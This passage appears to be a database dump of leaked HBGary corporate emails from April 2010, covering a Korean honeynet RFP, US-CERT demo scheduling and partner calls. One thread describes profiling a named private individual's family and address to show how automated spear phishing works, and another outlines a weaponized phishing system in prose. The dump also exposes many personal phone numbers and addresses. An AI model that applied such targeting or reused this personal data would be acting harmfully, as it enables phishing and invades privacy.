http://www.fidelissecurity.com/data-leakage-protection-contact/directions\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp; Please join my meeting.\r\n\r\nhttps://www1.gotomeeting.com/join/171602721\r\n\r\n2.&nbsp; Use your microphone and speakers (VoIP) - a headset is recommended.&nbsp; Or, call in using your telephone.\r\n\r\nDial 312-878-0202\r\n\r\nAccess Code: 171-602-721\r\n\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 171-602-721\r\n\r\nGoToMeeting&reg; \r\n\r\nOnline Meetings Made Easy&#8482;\r\n\r\n\r\n',1222,'aaron_hbgary_com/1222.html'),(5006,'2010-04-07','\"Jason Lee\" <jason@softwidesec.com>','/aaron@hbgary.com/new/1297003194.M382052P3547Q5007.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: [Softwide] Deal and SI project requesting','\r\n\r\n\r\n\r\n\r\nHi.. Penny.. &nbsp;Thanks for your e-mail&#8230;&nbsp;I&#8217;m glad to have a chance to communicate with you, Aaron, Phil and Maria. &nbsp;As I told Maria and Phil, your company and product FastDump has a really good reputation in Korea. &nbsp;I wish to have a chance to drive your biz in here also. &nbsp;Because our company Softwide Security and Softwide&amp;Company which is a mother company of Softwide Security, are very well known in VM, RM, PT market in Korea and Security SI. Also, we have a security focused training center and it is quite well known in Korea. &nbsp;If possible, I wish to discuss more about various biz opportunities in Korea for sales, consulting, training etc. &nbsp;Regarding the government project, I wished to prepare something you can really do very well for their demand for their own RFP.&nbsp; For the Militaries, it was a just software purchasing and if your product is suited on their demand, I can deliver your product to military customer this month. &nbsp;One RFP is release for the bid and there mentioned time frame I will update you the exact project timelines. &nbsp;Here is the name of customer, Cyber Threat Analysis Team // National Computing &amp; Information Agency&nbsp;Penny.. I will contact Aaron as you advise. &nbsp;Thanks ..&nbsp;Best regards &nbsp;Jason &nbsp;&nbsp;From: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Wednesday, April 07, 2010 4:28 AMTo: \'Jason Lee\'; \'Maria Lucas\'Cc: \'Phil Wallisch\'; \'Aaron Barr\'Subject: RE: [Softwide] Deal and SI project requesting&nbsp;Hi Jason,&nbsp;I am the President of HBGary.&nbsp; I am copying Aaron Barr, he is the CEO of HBGary Federal our consulting arm.&nbsp; We are certainly interested in the project, but as Phil previously mentioned, we are more in the malware detection space.&nbsp; We do have technologies in the network area, but not necessarily what you are looking for, although our DDNA and malware processor are in line with your needs.&nbsp; More than likely we&#8217;d need to purchase a network device and then do custom work to link all the pieces together.&nbsp; This is not a problem for us.&nbsp; That said, we&#8217;d need to know more about the project in order to bid it, timeframe, end user customers name/business, timeframe to start etc.&nbsp; Aaron can certainly answer many of these questions.&nbsp; His phone number is 916-459-4727 ext 117 .&nbsp; He&#8217;s in Washington DC.&nbsp; His cell is 719-510-8478.&nbsp; &nbsp;From: Jason Lee [mailto:jason@softwidesec.com] Sent: Monday, April 05, 2010 4:03 AMTo: \'Maria Lucas\'Cc: sales@hbgary.com; bob@hbgary.comSubject: RE: [Softwide] Deal and SI project requesting&nbsp;Hi.. Maria.. &nbsp;Thanks for your reply and sorry about my late response because I have been busy during days. I had been met many customers in Korea and some from Government Agency, some from Security SI and some from commercial market. &nbsp;I&#8217;m glad to hear that you and your team interesting about what project to build. &nbsp;I wish to hear you the answer to share this project today. &nbsp;As I mentioned that we need a partner who have done or have many experience to do this kind of project and as I told you that I&#8217;m pretty sure that you and your team already had done and have good reputation in Market. &nbsp;There is no requirement documentation yet, as I told you that we have to prepare that document but we are running out of time since the RFP should be done middle of this week. &nbsp;There is a minimum requirement from customer as below:&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp; The Cyber Threat Analysis team want to build any sort of field to collect traffic or packet or activities and files from net and I expected that it will be a honey net or capture the whole traffic from net transaction. 2.&nbsp;&nbsp;&nbsp;&nbsp; The Cyber Threat Analysis team want to pick any sort of malicious activities, files and packet from that captured traffic or Honey-net. 3.&nbsp;&nbsp;&nbsp;&nbsp; They want to analyze the packets, files, activities and traffic to find or aim that this is real malicious things from net. 4.&nbsp;&nbsp;&nbsp;&nbsp; To analysis those traffic, packets, files and activities, they might need your solutions, and even your experience; how to analysis those malicious things effectively.5.&nbsp;&nbsp;&nbsp;&nbsp; From the earned information to picked and aimed, they want to systemize the processes to collect, analyze and categorize malicious activities and so on.. &nbsp;Those are the minimum requirement from customer and actually, I just have a concept to build; however, I don&#8217;t have experience build in real. That is the reason why I need you and your team Maria. &nbsp;As I requested before, I wish to get answer for what I asked you last time. Also, I wish to get your suggestion to hand over requirement to do this project, anything to help to keep this project is ours. And if you can, please briefly let us know how you can do this. &nbsp;I wish get your answer for this today, if possible. &nbsp;As I mentioned above, it is running out of time and we just have one or two day to hold to fix the RFP from customer. If you can help us, your guide and requirement become customer&#8217;s demand and we can get the project to drive. &nbsp;Please answer me today through email and call. &nbsp;I will wait for your answer both communication way. &nbsp;Have a good day.. and be well.. &nbsp;Best regards &nbsp;Jason &nbsp;&nbsp;From: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, April 01, 2010 4:16 AMTo: Jason LeeCc: sales@hbgary.com; bob@hbgary.comSubject: Re: [Softwide] Deal and SI project requesting&nbsp;Hello Jason&nbsp;I am going to refer your questions to Phil Wallisch -- a lead security engineer at HBGary.&nbsp;Phil is currently on vacation but will be available next week to respond to your request --&nbsp;this sounds very interesting.&nbsp;Do you have a requirements document that you can send to us for review?&nbsp;Maria&nbsp;On Wed, Mar 31, 2010 at 9:04 AM, Jason Lee &lt;jason@softwidesec.com&gt; wrote:Hi.. &nbsp;I&#8217;m Jason Lee from Softwide Security. &nbsp;It is first time contact you, but I wish that you can help us to support our project and deal. &nbsp;Here I have something to discuss and get an answer for your support. &nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp; Our biggest customer want to have a project to build a honey net to capture traffic to collect and analyze malicious packet, file, attack &#8230; 2.&nbsp;&nbsp;&nbsp;&nbsp; For this project, I believe they might need to purchase your product to analyze captured traffic, files and activities. 3.&nbsp;&nbsp;&nbsp;&nbsp; They also want to build a honey-net with professional people who have done this before. &nbsp;I believe that you might interesting about this project since your CTO have done many reverse, analyzing work for Malicious file and other. &nbsp;I would like to hear from you:1.&nbsp;&nbsp;&nbsp;&nbsp; Do you and your team want to do this project with us?A.&nbsp;&nbsp;&nbsp;&nbsp; Actually, I wish you take this case to do this project since it is a really good chance to have a good relationship with most biggest Korean Customer.B.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I believe that you and your team already have done this kind of project for your government there. 2.&nbsp;&nbsp;&nbsp;&nbsp; If you can want to do this project, can you estimate the size of project cost and how long does it take and how many of you and your team come to Korea?A.&nbsp;&nbsp;&nbsp;&nbsp; You can put the period as you really need to putB.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You should estimate the number of people what who can support to finish this projectC.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You have to give us the exact cost for whole project including accommodation in Korea.3.&nbsp;&nbsp;&nbsp;&nbsp; If possible, I wish to talk through phone line to discuss about this project. A.&nbsp;&nbsp;&nbsp;&nbsp; I called your represent phone number this morning, but no one get answer ;(, please..&nbsp;There is a good news that we can create RFP for this project then, feel free to tell me what necessary things that I have to put for this project.&nbsp;I wish to hear from you ASAP.&nbsp;Have a good day.. and be well.. &nbsp;Best regards &nbsp;Jason &nbsp;&nbsp;&nbsp;&nbsp;Jason LeeC.T.O. / Senior Consultant Softwide Security, Inc.5th LV, HakDong Building81-5, NonHyund-Dong, GanNam-Gu, SEOULRepublic of KoreaZIP 135-010Mobile: +82 17 659 1906Office: + 82 2 6052 5700Fax: + 82 3665 3519IM: jaisonyi@hotmail.com(MSN, NATE, SkyPE)Alter E-mail: jaisonyi@gmail.com &nbsp;-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html',14530,'aaron_hbgary_com/14530.html'),(5007,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003194.M85580P3547Q5006.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Automated spear fishing','Have any if you seen an automated spear fishing capability in the\r\nwild.  I was just playing around last night and started developing a\r\npersonal profile - picked a person, Dave Luber.  Quickly found his\r\nTwitter, facebook, flickr, jeep aficianado forum membership.  Trips he\r\nhas made, friends, group interests, wife, kids, relatives, address,\r\nphone number, kids schools, sports, etc.  This would be too easy to\r\nautomate and I think scarily effective.  Within 10 min. Of manual\r\nresearch I had a significant amount of information about him (and felt\r\na bit like a stalker).\r\n\r\nWe should have a capability to do this to our adversaries.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',6218,'aaron_hbgary_com/6218.html'),(5008,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003197.M629385P3547Q5008.eml','\"Aaron Barr\" <adbarr@mac.com>','Report','',77,'aaron_hbgary_com/77.html'),(5009,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003197.M872945P3547Q5009.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','Silly question','The ITAR question you asked me.  Does that preclude HBGary Fed fr\r\nDoing business in south Korea.  Reason I ask, just yesterday I got an\r\nemail from a south Korean security cpany wanting us to help on an RFP\r\nfor a south Korean government agency for cyber security.  Weird.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13428,'aaron_hbgary_com/13428.html'),(5010,'2010-04-07','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003199.M207772P3547Q5010.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Automated spear fishing',' \r\nAaron,\r\n \r\nYes I have seen a very effective automated spearfishing system.  I got a demo of it about 7 years ago.  The developer is actually the same guy who went on to found Paterva, the creators of Maltego.  The automated system was fully weaponized with client-side exploits for iexplore and outlook, including a worm package for lateral movement once inside an Enterprise, it launched attackes/ran from a server platform with a web front end, and would automatically find email addresses for a given corporation, country domain, or government target.  For any target it could find hundreds of valid email addresses by combing open sources and using intelligent email-address patterns.  Attached is a whitepaper and some screenshots.  At the time this was clearly able to take out any target without exception, given that a small percentage of email targets would end up clicking on the package, and all it takes is a handful to victims to get the worming package inside the network.\r\n\r\n \r\n-Greg  \r\nOn Tue, Apr 6, 2010 at 9:55 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHave any if you seen an automated spear fishing capability in thewild.  I was just playing around last night and started developing a\r\npersonal profile - picked a person, Dave Luber.  Quickly found hisTwitter, facebook, flickr, jeep aficianado forum membership.  Trips hehas made, friends, group interests, wife, kids, relatives, address,phone number, kids schools, sports, etc.  This would be too easy to\r\nautomate and I think scarily effective.  Within 10 min. Of manualresearch I had a significant amount of information about him (and felta bit like a stalker).We should have a capability to do this to our adversaries.\r\nAaron From my iPhone\r\n',7218,'aaron_hbgary_com/7218.html'),(5011,'2010-04-07','\"Racz, James M\" <james.m.racz@lmco.com>','/aaron@hbgary.com/new/1297003199.M472537P3547Q5011.eml','\"Mai, Richard E\" <richard.e.mai@lmco.com>','Release of Your POC Contact Information to the entire UNO Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear UNO Teammate:\r\n\r\n&nbsp;\r\n\r\nThe UNO Sponsor would like the PMO to share UNO Team contact information\r\namong all the entire 90+ member UNO Team only.&nbsp; I would like your company\r\nconfirmation/approval to provide your data to your UNO Teammates.&nbsp; I would simplify\r\nthe detail and provide only one technical POC name and contact information.&nbsp; &nbsp;If\r\nyou concur, please provide me the following format:\r\n\r\n&nbsp;\r\n\r\nCompany\r\nName, POC Name, Telephone Number, E-mail address\r\n\r\n&nbsp;\r\n\r\nThank You \r\n\r\n&nbsp;\r\n\r\nJim\r\nRacz\r\n\r\nLSE, UNO Program\r\n\r\n703 466-3314\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11707,'aaron_hbgary_com/11707.html'),(5012,'2010-04-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003214.M448690P3547Q5012.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Release of Your POC Contact Information to the entire UNO Team','\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Racz, James M [mailto:james.m.racz@lmco.com] \r\nSent: Wednesday, April 07, 2010 10:59 AM\r\nTo: Mai, Richard E\r\nSubject: Release of Your POC Contact Information to the entire UNO Team\r\n\r\nDear UNO Teammate:\r\n\r\n \r\n\r\nThe UNO Sponsor would like the PMO to share UNO Team contact information\r\namong all the entire 90+ member UNO Team only.  I would like your company\r\nconfirmation/approval to provide your data to your UNO Teammates.  I would\r\nsimplify the detail and provide only one technical POC name and contact\r\ninformation.   If you concur, please provide me the following format:\r\n\r\n \r\n\r\nCompany Name, POC Name, Telephone Number, E-mail address\r\n\r\n \r\n\r\nThank You \r\n\r\n \r\n\r\nJim Racz\r\n\r\nLSE, UNO Program\r\n\r\n703 466-3314\r\n\r\n \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.800 / Virus Database: 271.1.1/2793 - Release Date: 04/07/10\r\n02:32:00\r\n\r\n',3918,'aaron_hbgary_com/3918.html'),(5013,'2010-04-07','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003216.M256890P3547Q5013.eml','\"Aaron Barr\" <aaron@hbgary.com>','Confirm Tom Temin Meeting Thursday April 8th at 11:45 AM','Hi Aaron, Just want to reconfirm your meeting with Tom Temin tomorrow, Thursday April 8th at 11:45 AM at Cafe DeLuxe. I\'ve put the address on the attached&nbsp;briefing sheet, but I believe I sent you the&nbsp;location info last week. Please let me know if you have any questions! If possible, please send me your cell number so I can pass on to Tom just in case he is running late and needs to call you. Thanks &nbsp;Karen&nbsp;&nbsp;\r\n\r\n   ',2417,'aaron_hbgary_com/2417.html'),(5014,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003217.M125427P3547Q5014.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Confirm Tom Temin Meeting Thursday April 8th at 11:45 AM','Still on.719.510.8478From my iPhoneOn Apr 7, 2010, at 1:06 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Just want to reconfirm your meeting with Tom Temin tomorrow, Thursday April 8th at 11:45 AM at Cafe DeLuxe. I&#39;ve put the address on the attached briefing sheet, but I believe I sent you the location info last week. Please let me know if you have any questions! If possible, please send me your cell number so I can pass on to Tom just in case he is running late and needs to call you. Thanks  Karen  \r\n\r\n\r\n      &lt;HBGary Federal Tom Temin Briefing Document.doc&gt;\r\n',4919,'aaron_hbgary_com/4919.html'),(5015,'2010-04-07','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','/aaron@hbgary.com/new/1297003217.M329730P3547Q5015.eml','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov,\"Compton, Michael W.\" <Michael.Compton@gd-ais.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Derrick, Gerald A.\" <Gerald.Derrick@gd-ais.com>,\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','RE: HB Gary','\r\n\r\n\r\n\r\n\r\nHB Gary\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGang\r\n\r\n&nbsp;\r\n\r\nI apologize &#8211;I\r\nmeant the 21st at 0930.&nbsp; Byron won&#8217;t be in on the 14th&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Stern, Matthew A. \r\nSent: Tuesday, April 06, 2010 3:58 PM\r\nTo: Rohring, Matthew R.; matthew.rohring@us-cert.gov; Compton, Michael\r\nW.; Penny Leavy-Hoglund; \'Aaron Barr\'; Rich Cummings\r\nCc: Donnelly, Jack F.\r\nSubject: FW: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nHBGary team\r\nthis is the GD-AIS team.\r\n\r\n&nbsp;\r\n\r\nAs we move\r\nforward in our partnership, I thought it would be good to show the US CERT some\r\nof the new technologies that HB Gary is bringing to the fight.\r\n\r\n&nbsp;\r\n\r\nI have a meeting\r\nscheduled with Byron Copeland, Chief of Forensics and Malware Analysis, US\r\nCERT, on April 14, 2010, at 930 - can you be there?\r\n\r\n&nbsp;\r\n\r\nMatt Rohring\r\ncan you set up a conference Room at Glebe Road?\r\n\r\n&nbsp;\r\n\r\nIf you all\r\nrespond positively, I will send the reminder notice.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Tuesday, April 06, 2010 1:46 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat works. What do we say, about 9am, 930anm or so?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=1705c1df47=matthew.stern@gd-ais.com\r\n[mailto:prvs=1705c1df47=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Tuesday, April 06, 2010 1:24 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow about the\r\n21st?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:29 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m out this Thursday and Friday and out all next week.\r\nThe 20th is not good either. But free any other time.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Monday, April 05, 2010 1:26 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk \r\n\r\n&nbsp;\r\n\r\nI will help\r\nget something set up\r\n\r\n&nbsp;\r\n\r\nWhat does\r\nyour schedule look like?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:15 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n&nbsp;\r\n\r\nWe in fact do use GB Gary Responder &nbsp;Pro and HBGary Digital\r\nDNA.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d love to hear more about the Sandbox capabilities. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: prvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Monday, April 05, 2010 1:05 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nByron,\r\n\r\nAre you using HB Gary?\r\n\r\nWould you be interested in\r\nsome very powerful reverse\r\nEngineering and Sandbox capabilities that they have?\r\n\r\nR\r\n\r\nMatt\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6456,'aaron_hbgary_com/6456.html'),(5016,'2010-04-07','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','/aaron@hbgary.com/new/1297003217.M521548P3547Q5016.eml','\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov,\"Compton, Michael W.\" <Michael.Compton@gd-ais.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Derrick, Gerald A.\" <Gerald.Derrick@gd-ais.com>,\"Donnelly, Jack F.\" <Jack.Donnelly@gd-ais.com>,\"Kolchins, Joshua R.\" <Joshua.Kolchins@gd-ais.com>,\"Copeland, Byron D\" <Byron.Copeland@dhs.gov>,sean.sobieraj@us-cert.gov,Byron.Copeland@us-cert.gov','HB Gary New Product Demo / Discussion at US CERT','\r\n\r\n\r\n\r\n\r\nHB Gary New Product Demo / Discussion at US CERT\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, April 21, 2010 9:30 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 1110 N Glebe Road, Arlington, VA\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMeeting to demo new products and enhance current capabilities, training, etc.\r\n\r\nMatt or Jerry &#8211; please set up a conference room.\r\n\r\nIf we can&#8217;t get something there, how about a demo at JP2 or better yet, Fair Lakes Cyber Integration Center&#8230;\r\n\r\n\r\n',2581,'aaron_hbgary_com/2581.html'),(5017,'2010-04-07','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003217.M720513P3547Q5017.eml','\"Aaron Barr\" <aaron@hbgary.com>','Update on Podcast','Hi Aaron, I just wanted to check in re the podcast on APT to see if you have finalized the interview guest and topic details. As I put in my original podcast plan, I wanted to schedule this podcast for April 19th. Do you think this is still possible? Once we have the details nailed down, we can start to promote it. Thanks! Best, Karen&nbsp;&nbsp;&nbsp; \r\n\r\n',8882,'aaron_hbgary_com/8882.html'),(5018,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003217.M953593P3547Q5018.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration 	Opportunities','From my iPhoneBegin forwarded message:From: &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;\r\nDate: April 6, 2010 11:03:01 PM EDTTo: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt;, &lt;greg@hbgary.com&gt;, &quot;Savchuk, Gene&quot; &lt;gene.savchuk@fidelissecurity.com&gt;, &quot;Mancini, Jerry&quot; &lt;jerry.mancini@fidelissecurity.com&gt;, &quot;Bertone, Kurt&quot; &lt;kurt.bertone@fidelissecurity.com&gt;\r\nSubject: RE: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\nI’ve attached my latest draft of an integration guide for our two solutions.  This is just my thoughts from our conversations, and likely has more integration than is required to get started and could be missing other impactful areas that we haven’t yet discussed—so feedback would be greatly appreciated.\r\n\r\n\r\nAs we have a number of people on the call from Fidelis who haven’t seen a demo of the HB Gary solutions, I’m hoping we can do that on Friday early in the call.  We’d also be happy to do a demo for Rich as I’m not sure he has seen the Fidelis XPS solutions either.  (Rich – if you’d like to meet us in Bethesda or get on a call before hand, I’d be happy to do a more detailed demo and technical discussion before the meeting too!)\r\n\r\n\r\nDavid\r\n\r\n &lt;&lt;Fidelis XPS and HB Gary Integration v1_2.docx&gt;&gt; \r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Etue, David\r\n\r\nSent: Tuesday, April 06, 2010 8:49 PM\r\n\r\nTo: Penny Leavy-Hoglund; Aaron Barr; Rich Cummings; &#39;greg@hbgary.com&#39;; Savchuk, Gene; Mancini, Jerry\r\n\r\nSubject: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities\r\n\r\nWhen: Friday, April 09, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 312-878-0202, Access Code 171-602-721 (webmeeting included)\r\n\r\n\r\n\r\n\r\nPenny had sent the original meeting request – just sending a second one with a dial in bridge and webinar link.  Looking forward to talking on Friday.\r\n\r\n\r\nBTW – for any of the local DC area folks, please let me know if you’d like to join us at Fidelis in Bethesda - http://www.fidelissecurity.com/data-leakage-protection-contact/directions\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n1.  Please join my meeting.\r\n\r\nhttps://www1.gotomeeting.com/join/171602721\r\n\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is recommended.  Or, call in using your telephone.\r\n\r\nDial 312-878-0202\r\n\r\nAccess Code: 171-602-721\r\n\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 171-602-721\r\n\r\nGoToMeeting® \r\n\r\nOnline Meetings Made Easy™\r\n\r\n\r\n\r\n',6079,'aaron_hbgary_com/6079.html'),(5019,'2010-04-07','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297003218.M343648P3547Q5019.eml','aaron@hbgary.com','FW: Google Alert - hbgary responder','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBelow is an example of what I was referring too when we were\r\ntalking about weird “random” pages like this one – look like possible command\r\nand control and “seemingly anonymous” intelligence collection.   You should\r\nproxy through google (my recommendation) to view the site.  \r\n\r\n \r\n\r\nI use sandboxie… you should get a copy for your windows browsing\r\nonline.  It sandboxes your browser so even if it gets compromised, it’s ok. \r\n\r\n \r\n\r\nI want to track this stuff in palantir and our TMC database…\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Google Alerts\r\n[mailto:googlealerts-noreply@google.com] \r\nSent: Friday, March 19, 2010 10:31 AM\r\nTo: rich@hbgary.com\r\nSubject: Google Alert - hbgary responder\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGoogle Web\r\nAlert for: hbgary responder\r\n\r\n\r\n \r\n  \r\n  responder\r\n  -- how to perform first responder skills :: first ...\r\n  responder hbgary dump ppt whistle responder schematic first responder\r\n  presentation wilderness first responder talkeetna wilderness first responder\r\n  course ...\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTip:\r\nUse a minus sign (-) in front of terms in your query that you want to exclude. Learn\r\nmore.\r\n\r\nRemove\r\nthis alert. \r\nCreate\r\nanother alert. \r\nManage\r\nyour alerts. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12144,'aaron_hbgary_com/12144.html'),(5020,'2010-04-07','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297003218.M681320P3547Q5020.eml','rich23_23@yahoo.com,aaron@hbgary.com','FW: Google Alert - hbgary responder','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnother one… \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Google Alerts\r\n[mailto:googlealerts-noreply@google.com] \r\nSent: Friday, March 05, 2010 9:32 AM\r\nTo: rich@hbgary.com\r\nSubject: Google Alert - 